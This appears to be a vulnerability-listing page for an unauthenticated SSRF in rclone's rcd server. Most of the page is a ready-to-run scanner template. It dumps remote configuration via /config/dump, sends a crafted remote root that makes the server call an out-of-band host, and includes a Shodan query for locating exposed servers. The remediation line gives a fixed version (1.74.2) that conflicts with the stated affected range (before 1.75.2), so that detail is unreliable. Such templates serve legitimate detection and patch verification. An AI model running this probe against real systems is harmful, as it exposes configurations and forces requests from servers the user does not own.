CVE-2026-116192: rclone - Server-Side Request Forgery

2026-12-04 PoC Public

Description

rclone versions before 1.75.2 contain a server-side request forgery vulnerability. When rclone rcd runs with --rc-serve and no RC authentication, a remote root beginning with //host/path is parsed as an ordinary root on an existing named remote. The http and netstorage backends pass this root through rest.URLJoin, and Go resolves it as an RFC 3986 network-path reference, replacing the configured URL authority. This lets unauthenticated attackers make the server issue same-scheme requests to an arbitrary host and port, with the response body returned to the requester and the remote's configured custom headers disclosed to that host.

Details

CVE
CVE-2026-116192 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-116192

info:
  name: rclone - Server-Side Request Forgery
  author: kosoyyagent
  severity: high
  description: |
    rclone versions before 1.75.2 contain a server-side request forgery vulnerability. When rclone rcd runs with --rc-serve and no RC authentication, a remote root beginning with //host/path is parsed as an ordinary root on an existing named remote. The http and netstorage backends pass this root through rest.URLJoin, and Go resolves it as an RFC 3986 network-path reference, replacing the configured URL authority. This lets unauthenticated attackers make the server issue same-scheme requests to an arbitrary host and port, with the response body returned to the requester and the remote's configured custom headers disclosed to that host.
  impact: |
    Unauthenticated attackers can redirect backend requests, read responses, capture headers, and obtain valid NetStorage signatures.
  remediation: |
    Update to version 1.74.2 or later.
  reference:
    - https://github.com/rclone/rclone/security/advisories/GHSA-xqmq-v4wj-rw5m
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116192
  classification:
    cve-id: CVE-2026-116192
    epss-score: 0.00924
    epss-percentile: 0.6157
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    shodan-query: 'http.title:"rclone" "Server: rclone"'
  tags: cve,cve2026,rclone,ssrf,oast

flow: http(1) && http(2)

http:
  - method: POST
    path:
      - "{{BaseURL}}/config/dump"
    headers:
      Content-Type: application/json
    body: "{}"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
        internal: true

      - type: word
        part: header
        words:
          - "rclone"
        internal: true

      - type: regex
        part: body
        regex:
          - '"type"\s*:\s*"(http|netstorage)"'
        internal: true

    extractors:
      - type: regex
        part: body
        name: remote
        group: 1
        regex:
          - '"([^"]+)"\s*:\s*\{[^{}]*"type"\s*:\s*"(?:http|netstorage)"'
        internal: true

      - type: regex
        part: header
        name: version
        group: 1
        regex:
          - 'rclone/v([0-9]+\.[0-9]+\.[0-9]+)'
        internal: true

  - method: POST
    path:
      - "{{BaseURL}}/operations/stat"
    headers:
      Content-Type: application/json
    body: |
      {"fs":"{{remote}}://{{interactsh-url}}/x","remote":""}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: regex
        part: body
        regex:
          - '"(error|item)"'
# digest: 4a0a004730450220344c2d6ee95cad154c997c64dc844a4283e91162472d6ae7da34efefc8f5703702210082eb6f0c7883e4d6cd3dfccd3bd2e128af7045ab9bed0cb24833bcff96592d8e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life